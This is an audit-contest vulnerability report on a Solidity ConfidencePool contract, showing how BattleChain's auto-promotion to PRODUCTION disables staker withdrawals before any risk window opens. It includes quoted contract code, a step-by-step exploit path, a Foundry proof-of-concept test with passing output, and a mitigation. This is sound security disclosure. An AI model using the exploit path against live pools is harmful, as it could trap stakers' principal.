FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Auto promotion locks staker withdrawals before any risk materializes

Author Revealed upon completion

Root + impact

Description

ConfidencePool.withdraw() is documented and designed as the staker exit hatch until attack risk actually materializes, but the implementation instead closes withdrawals as soon as the upstream AttackRegistry auto-promotes an unapproved ATTACK_REQUESTED agreement to PRODUCTION after 14 days. Because pool expiry is at least 30 days and can be much longer, a staker can become unable to withdraw, unable to call claimExpired(), and still have riskWindowStart == 0, leaving principal trapped in an unresolved pool until the moderator intervenes or the pool finally expires.

Vulnerability details

The core mistake is that withdraw() closes on any registry state after ATTACK_REQUESTED, while the live BattleChain integration can move an agreement from ATTACK_REQUESTED to PRODUCTION without ever visiting UNDER_ATTACK. The repo documents the opposite trust model: DESIGN.md says the withdraw escape hatch stays open for the entire pre-attack window and that stakers can freely exit until risk materializes, and README.md says stakers can fully exit while the registry is in any pre-attack state. In production, that assumption is false.

function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
...
}

The pool never treats terminal PRODUCTION as “risk materialized.” _observePoolState() only seals riskWindowStart for UNDER_ATTACK or PROMOTION_REQUESTED, while terminal states only touch riskWindowEnd. So when BattleChain reaches PRODUCTION directly, the pool closes withdrawals without ever opening the local risk window the docs say should justify that closure.

function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _isActiveRiskState(IAttackRegistry.ContractState s) internal pure returns (bool) {
return s == IAttackRegistry.ContractState.UNDER_ATTACK || s == IAttackRegistry.ContractState.PROMOTION_REQUESTED;
}

The upstream registry path is real, intentional, and sponsor-reachable. requestUnderAttackForUnverifiedContracts() registers the agreement in ATTACK_REQUESTED, _registerAgreement() stores deadlineTimestamp = block.timestamp + PROMOTION_WINDOW, and _getAgreementState() returns PRODUCTION once that deadline passes, before falling back to attackRequested. The same mismatch is even stronger on the verified path because goToProduction() skips the attack phase entirely.

s_agreementInfo[agreementAddress] = AgreementInfo({
attackModerator: agreementOwner,
deadlineTimestamp: block.timestamp + PROMOTION_WINDOW,
promotionRequestedTimestamp: 0,
attackRequested: true,
attackApproved: false,
promoted: false,
corrupted: false,
isRegistered: true
});
if (info.attackApproved) {
return ContractState.UNDER_ATTACK;
}
if (block.timestamp >= info.deadlineTimestamp) {
return ContractState.PRODUCTION;
}
if (info.attackRequested) {
return ContractState.ATTACK_REQUESTED;
}

The issue is reachable under the following conditions:

  1. The pool has at least one remaining staker and an expiry materially later than the BattleChain promotion timer.

  2. The agreement owner can register the agreement through BattleChain’s normal ATTACK_REQUESTED path, or use the verified goToProduction() shortcut.

  3. No DAO approval moves the agreement through UNDER_ATTACK before the 14-day timer elapses, or the verified owner skips the timer entirely with goToProduction().

  4. The moderator does not immediately flag SURVIVED before the staker tries to exit.

The exploit path is:

  1. Stakers deposit into a long-dated pool while the agreement is still pre-risk.

  2. The agreement owner registers the agreement into BattleChain’s ATTACK_REQUESTED review flow.

  3. At least one staker remains in the pool after that registration.

  4. BattleChain reaches PRODUCTION without ever entering UNDER_ATTACK, either after the 14-day auto-promotion timer or immediately through goToProduction().

  5. Because the pool only treats UNDER_ATTACK or PROMOTION_REQUESTED as active risk, riskWindowStart is still zero even though the upstream state is now terminal.

  6. The remaining staker calls withdraw() and hits WithdrawsDisabled, but claimSurvived() still reverts until SURVIVED has been flagged and claimExpired() still reverts until the pool’s own expiry`.

  7. The staker’s principal is frozen in an unresolved pool until moderator intervention or expiry, despite no observed active-risk phase ever opening locally.

This is not just documentation drift. The live sink is a sponsor-triggerable rights change: the staker loses the unilateral pre-risk exit path and becomes dependent on moderator responsiveness or eventual expiry, even though the pool never recorded the active-risk phase that is supposed to justify that loss of control.

Risk

Likelihood:

  • Reason 1 // The freeze appears at the end of BattleChain's 14-day promotion window, when an unresolved ATTACK_REQUESTED agreement auto-advances to PRODUCTION without any observed active-risk state.

  • Reason 2 // The trapping condition persists throughout the remainder of a long-dated pool term, because withdraw() is already closed while both claim paths remain unavailable until moderator action or expiry.


Impact

The agreement owner gains an undocumented principal-lock lever over existing stakers. By moving the agreement into BattleChain’s pre-risk review flow and letting it auto-promote to PRODUCTION, they can close withdraw() before any observed active-risk state exists and before the staker can call either claim path. On long-dated pools this freezes principal for months and strips the user of the exact pre-risk exit guarantee they deposited under.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {stdJson} from "forge-std/StdJson.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";
import {AgreementDetails} from "lib/battlechain-safe-harbor-contracts/src/types/AgreementTypes.sol";
import {getMockAgreementDetails} from "lib/battlechain-safe-harbor-contracts/test/utils/GetAgreementDetails.sol";
interface IBattleChainSafeHarborRegistryInitializer is IBattleChainSafeHarborRegistry {
function setAgreementFactory(address factory) external;
function setAttackRegistry(address attackRegistryAddr) external;
function initialize(
address owner,
string[] memory initialValidChains,
address agreementFactory,
address attackRegistry
) external;
}
interface IAgreementFactoryInitializer is IAgreementFactory {
function initialize(address _initialOwner, address _registry, string memory _battleChainCaip2ChainId) external;
}
interface IAttackRegistryInitializer is IAttackRegistry {
function initialize(
address _initialOwner,
address _registryModerator,
address _safeHarborRegistry,
address _agreementFactory,
address _battleChainDeployer,
address _treasury
) external;
}
contract PreRiskProductionFreezeTest is Test {
using stdJson for string;
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
string internal constant BATTLECHAIN_CAIP2 = "eip155:325";
string internal constant SCOPE_ACCOUNT_STRING = "0x0000000000000000000000000000000000000001";
string internal constant REGISTRY_ARTIFACT =
"lib/battlechain-safe-harbor-contracts/out/BattleChainSafeHarborRegistry.sol/BattleChainSafeHarborRegistry.json";
string internal constant FACTORY_ARTIFACT =
"lib/battlechain-safe-harbor-contracts/out/AgreementFactory.sol/AgreementFactory.json";
string internal constant ATTACK_REGISTRY_ARTIFACT =
"lib/battlechain-safe-harbor-contracts/out/AttackRegistry.sol/AttackRegistry.json";
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal agreementOwner = makeAddr("agreementOwner");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
MockERC20 internal token;
ConfidencePool internal pool;
IBattleChainSafeHarborRegistryInitializer internal safeHarborRegistry;
IAgreementFactory internal agreementFactory;
IAttackRegistry internal attackRegistry;
address internal agreement;
address internal constant SCOPE_ACCOUNT = address(1);
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
_deployBattleChainStack();
agreement = _createAgreement();
pool = _deployPool();
}
function testAutoPromotionClosesWithdrawBeforeAnyRiskWindowOpens() external {
_stake(alice, 100 * ONE);
_stake(bob, 100 * ONE);
vm.prank(agreementOwner);
attackRegistry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(
uint256(attackRegistry.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED),
"agreement starts in ATTACK_REQUESTED"
);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.withdraw();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "withdraw remains open in ATTACK_REQUESTED");
assertEq(pool.riskWindowStart(), 0, "pre-risk request does not open the risk window");
vm.warp(block.timestamp + 14 days + 1);
assertEq(
uint256(attackRegistry.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.PRODUCTION),
"BattleChain auto-promotes without ever entering UNDER_ATTACK"
);
assertEq(pool.riskWindowStart(), 0, "pool never observed an active-risk state");
assertEq(pool.riskWindowEnd(), 0, "pool has not yet latched any terminal observation");
assertGt(uint256(pool.expiry()), block.timestamp + 300 days, "pool is still far from expiry");
vm.prank(bob);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.prank(bob);
vm.expectRevert(IConfidencePool.OutcomeNotSet.selector);
pool.claimSurvived();
vm.prank(bob);
vm.expectRevert(IConfidencePool.PoolNotExpired.selector);
pool.claimExpired();
assertEq(pool.riskWindowStart(), 0, "failed withdraw cannot invent a risk window");
assertEq(pool.riskWindowEnd(), 0, "failed withdraw leaves the pool unresolved");
assertEq(pool.eligibleStake(bob), 100 * ONE, "remaining staker principal is trapped in the pool");
}
function _deployBattleChainStack() internal {
address registryImpl = _deployArtifact(REGISTRY_ARTIFACT);
address factoryImpl = _deployArtifact(FACTORY_ARTIFACT);
address attackRegistryImpl = _deployArtifact(ATTACK_REGISTRY_ARTIFACT);
string[] memory validChains = new string[]();
validChains[0] = BATTLECHAIN_CAIP2;
safeHarborRegistry = IBattleChainSafeHarborRegistryInitializer(
address(
new ERC1967Proxy(
registryImpl,
abi.encodeCall(
IBattleChainSafeHarborRegistryInitializer.initialize,
(address(this), validChains, makeAddr("placeholderFactory"), makeAddr("placeholderAttackRegistry"))
)
)
)
);
agreementFactory = IAgreementFactory(
address(
new ERC1967Proxy(
factoryImpl,
abi.encodeCall(
IAgreementFactoryInitializer.initialize, (address(this), address(safeHarborRegistry), BATTLECHAIN_CAIP2)
)
)
)
);
attackRegistry = IAttackRegistry(
address(
new ERC1967Proxy(
attackRegistryImpl,
abi.encodeCall(
IAttackRegistryInitializer.initialize,
(
address(this),
makeAddr("registryModerator"),
address(safeHarborRegistry),
address(agreementFactory),
makeAddr("battleChainDeployer"),
makeAddr("treasury")
)
)
)
)
);
safeHarborRegistry.setAgreementFactory(address(agreementFactory));
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
}
function _createAgreement() internal returns (address deployedAgreement) {
AgreementDetails memory details = getMockAgreementDetails(SCOPE_ACCOUNT_STRING, BATTLECHAIN_CAIP2);
vm.prank(agreementOwner);
deployedAgreement = agreementFactory.create(details, agreementOwner, keccak256("pre-risk-production-freeze"));
vm.prank(agreementOwner);
IAgreement(deployedAgreement).extendCommitmentWindow(block.timestamp + 30 days);
}
function _deployPool() internal returns (ConfidencePool deployedPool) {
ConfidencePool implementation = new ConfidencePool();
deployedPool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory accounts = new address[]();
accounts[0] = SCOPE_ACCOUNT;
deployedPool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 365 days,
ONE,
recovery,
address(this),
accounts
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _deployArtifact(string memory artifactPath) internal returns (address deployed) {
string memory artifact = vm.readFile(artifactPath);
bytes memory creationCode = artifact.readBytes(".bytecode.object");
assembly {
deployed := create(0, add(creationCode, 0x20), mload(creationCode))
}
require(deployed != address(0), "artifact deploy failed");
}
}

Run command:

forge test --offline --match-test testAutoPromotionClosesWithdrawBeforeAnyRiskWindowOpens

Observed output:

No files changed, compilation skipped
Ran 1 test for test/unit/PreRiskProductionFreeze.t.sol:PreRiskProductionFreezeTest
[PASS] testAutoPromotionClosesWithdrawBeforeAnyRiskWindowOpens() (gas: 567485)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.52ms (319.67µs CPU time)
Ran 1 test suite in 8.17ms (7.52ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Mitigation

Keep withdrawals open whenever riskWindowStart == 0, or explicitly treat BattleChain’s direct ATTACK_REQUESTED -> PRODUCTION and goToProduction() paths as non-freezing pre-risk states until the pool is resolved.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!